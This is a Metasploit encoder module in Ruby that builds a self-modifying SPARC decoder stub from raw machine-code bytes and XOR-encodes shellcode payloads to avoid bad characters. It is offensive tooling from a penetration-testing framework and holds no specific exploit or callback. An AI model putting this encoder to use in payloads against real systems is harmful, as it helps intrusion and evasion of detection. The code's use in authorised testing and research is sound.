SPARC DWORD XOR Encoder

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Encoder::XorAdditiveFeedback

  def initialize
    super(
      'Name'             => 'SPARC DWORD XOR Encoder',
      'Description'      => %q{
        This encoder is optyx's 48-byte SPARC encoder with some tweaks.
      },
      'Author'           => [ 'optyx', 'hdm' ],
      'Arch'             => ARCH_SPARC,
      'License'          => MSF_LICENSE,
      'Decoder'          =>
        {
          'KeySize'    => 4,
          'BlockSize'  => 4,
          'KeyPack'    => 'N',
        })
  end

  #
  # Returns the decoder stub
  #
  def decoder_stub(state)
    Rex::Arch::Sparc.set_dword(state.key, 'l1') +
    "\x20\xbf\xff\xff" +   # bn,a  _start - 4
    "\x20\xbf\xff\xff" +   # bn,a  _start
    "\x7f\xff\xff\xff" +   # call  _start + 4
    "\xea\x03\xe0\x20" +   # ld    [%o7 + 0x20],%l7
    "\xaa\x9d\x40\x11" +   # xorcc %l5,%l1,%l5
    "\xea\x23\xe0\x20" +   # st    %l5,[%o7 + 0x20]
    "\xa2\x04\x40\x15" +   # add   %l1,%l5,%l1
    "\x81\xdb\xe0\x20" +   # flush %o7 + 0x20
    "\x12\xbf\xff\xfb" +   # bnz   dec_loop
    "\x9e\x03\xe0\x04"     # add   %o7,4,%o7
  end

  #
  # Append the decoder key now that we're done
  #
  def encode_end(state)
    state.encoded += [ state.key.to_i ].pack('N')
  end

  #
  # Verify that the chosen key doesn't become an invalid byte due to
  # the set_dword() result (22/10 bit split)
  #
  def find_key_verify(buf, key_bytes, badchars)
    return ( has_badchars?(
      Rex::Arch::Sparc.set_dword(key_bytes_to_integer(key_bytes), 'l1'),
      badchars
    ) ? false : true)
  end
end